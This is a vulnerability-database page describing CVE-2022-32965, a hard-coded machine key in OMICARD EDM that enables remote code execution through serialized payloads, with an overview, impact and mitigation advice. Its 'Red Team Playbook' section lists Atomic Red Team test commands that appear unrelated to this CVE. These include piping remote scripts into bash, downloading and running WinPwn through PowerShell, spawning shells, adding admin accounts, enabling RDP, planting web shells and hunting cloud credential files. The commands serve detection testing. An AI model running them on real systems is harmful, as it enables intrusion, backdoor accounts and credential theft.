CVE-2022-32965
Overview
The vulnerability in ITPison OMICARD EDM is a hard-coded machine key issue that enables unsafe deserialization of serialized payloads. This flaw resides in the cryptographic component responsible for machine key management, allowing unauthenticated remote input to be processed without proper validation. The affected feature is the server-side deserialization mechanism that relies on the embedded machine key for payload verification.
Vulnerability Description
OMICARD EDM has a hard-coded machine key. An unauthenticated remote attacker can use the machine key to send serialized payload to the server to execute arbitrary code, manipulate system data and disrupt service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code, modify or corrupt system data, and disrupt service availability. The attack requires only network access to the affected OMICARD EDM server, with no user interaction or privileges needed (AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data breaches, and operational downtime, severely impacting business continuity and data integrity.
Solution
According to the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-6373-34d51-1.html), users of ITPison OMICARD EDM should apply the vendor-supplied patch that replaces the hard-coded machine key with a securely generated, unique key per installation. The vendor also recommends upgrading to the latest version of OMICARD EDM where this vulnerability has been addressed. Detailed patch instructions and version information are available in the referenced advisories.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in OMICARD EDM arises from the presence of a hard-coded machine key, which is a critical security flaw that can be exploited by an unauthenticated remote attacker. This machine key is intended to provide a secure means of communication between the client and server, but its hard-coded nature means that it is predictable and can be easily discovered by an attacker. Once the machine key is obtained, the attacker can craft serialized payloads that the server will accept as legitimate. This capability allows for the execution of arbitrary code on the server, which can lead to unauthorized access to sensitive data, manipulation of system configurations, and disruption of services.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An attacker could leverage various methods to obtain the hard-coded machine key, such as reverse engineering the application or intercepting network traffic if proper encryption is not in place. Once in possession of the key, the attacker can send specially crafted requests to the server, effectively bypassing authentication mechanisms. Exploitation scenarios could include deploying malware, exfiltrating sensitive information, or even launching denial-of-service attacks that could cripple the affected systems. The potential for widespread disruption is significant, especially in environments where OMICARD EDM is integrated into critical business processes.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on OMICARD EDM for managing electronic documents and transactions. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences. Businesses may face financial losses due to operational downtime, reputational damage from data breaches, and potential legal ramifications stemming from non-compliance with data protection regulations. Furthermore, the ability to manipulate system data could lead to fraudulent activities, undermining the integrity of business operations and eroding customer trust.
To detect and mitigate this vulnerability, organizations must adopt a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify the presence of hard-coded secrets within applications. Implementing robust logging and monitoring solutions can also aid in detecting unusual activity that may indicate exploitation attempts. Mitigation strategies should include the immediate removal of hard-coded keys and replacing them with secure key management practices, such as using environment variables or secure vaults. Additionally, organizations should ensure that their systems are updated with the latest security patches and that they employ network segmentation to limit the potential impact of an attack.
In conclusion, the vulnerability associated with the hard-coded machine key in OMICARD EDM presents a significant threat to organizations utilizing this software. The ease of exploitation, coupled with the potential for severe business impact, necessitates immediate attention and action. By implementing comprehensive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall security posture and resilience against cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Omicard Edm Project | Omicard Edm | All |
cpe:2.3:a:omicard_edm_project:omicard_edm:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-70 | Try Common or Default Usernames and Passwords |
37%
|
Medium | High | |
| CAPEC-191 | Read Sensitive Constants Within an Executable |
33%
|
— | Low |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-32965 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-6373-34d51-1.html |
| chtsecurity.com |
GitHub CVE
x_refsource_MISC
|
https://www.chtsecurity.com/news/48032532-b2de-401c-97a8-a2be5691988f |